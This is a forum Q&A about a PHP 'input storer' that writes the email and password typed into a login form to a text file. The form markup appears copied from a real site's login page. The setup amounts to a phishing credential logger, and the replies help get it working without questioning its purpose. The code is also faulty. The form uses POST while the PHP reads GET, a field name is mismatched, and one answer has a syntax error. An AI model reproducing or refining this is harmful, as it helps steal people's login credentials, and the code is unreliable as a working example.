在php中向txt文件提交输入时出错

I am working on a input storer. It does not write to the txt document with this code:

<?php
    if (isset($_GET['test0'])) {
        $file = 'content.txt';
        // Open the file to get existing content
        $current = file_get_contents($file);

        // Append a new line to the file
        $current .= "
" . "(TEST0)". $_GET['test0'] . "(TEST1)". $_GET['test1'];

        // Write the contents back to the file
        file_put_contents($file, $current);
    }
?>

It is supposed to take the values from a <input> and store them. It isn't working, though. Here is the HTML:

<form action="" method="post" class="proceed maskable" name="login" autocomplete="off" novalidate>
    <div id="passwordSection" class="clearfix">
        <div class="textInput" id="login_emaildiv">
            <div class="fieldWrapper"><label for="email" class="fieldLabel">Test0</label><input id="email" name="test0" type="email" class="hasHelp  validateEmpty  "
                    required="required" aria-required="true" value="" autocomplete="off" placeholder="Email" /></div>
            <div class="errorMessage" id="emailErrorMessage">
                <p class="emptyError hide">Blank</p>
                <p class="invalidError hide">Blank</p>
            </div>
        </div>
        <div class="textInput lastInputField" id="login_passworddiv">
            <div class="fieldWrapper"><label for="password" class="fieldLabel">Test1</label><input id="password" name="Test0" type="password" class="hasHelp  validateEmpty  "
                    required="required" aria-required="true" value="" placeholder="Password" /></div>
            <div class="errorMessage" id="passwordErrorMessage">
                <p class="emptyError hide">Blank</p>
            </div>
        </div>
    </div>
</form>

How can I solve this problem. Thanks!

Try this :

<?php
    if (isset($_GET['test0'])) {

        $current = "
" . "(TEST0)". $_GET['test0'] . "(TEST1)". $_GET['test1'];

        $myfile = fopen("content.txt", "a") or die("Unable to open file!");

        fwrite($myfile, $current);
        fclose($myfile)
    }
?>

Check the content.txt file permission

if (isset($_GET['test0'])) {

$file = __DIR__.'/content.txt';
// Open the file to get existing content
$current = file_get_contents($file);

// Append a new line to the file
$current .= "
" . "(TEST0)". $_GET['test0'] . "(TEST1)". $_GET['test1'];

// Write the contents back to the file
file_put_contents($file, $current);
}
?>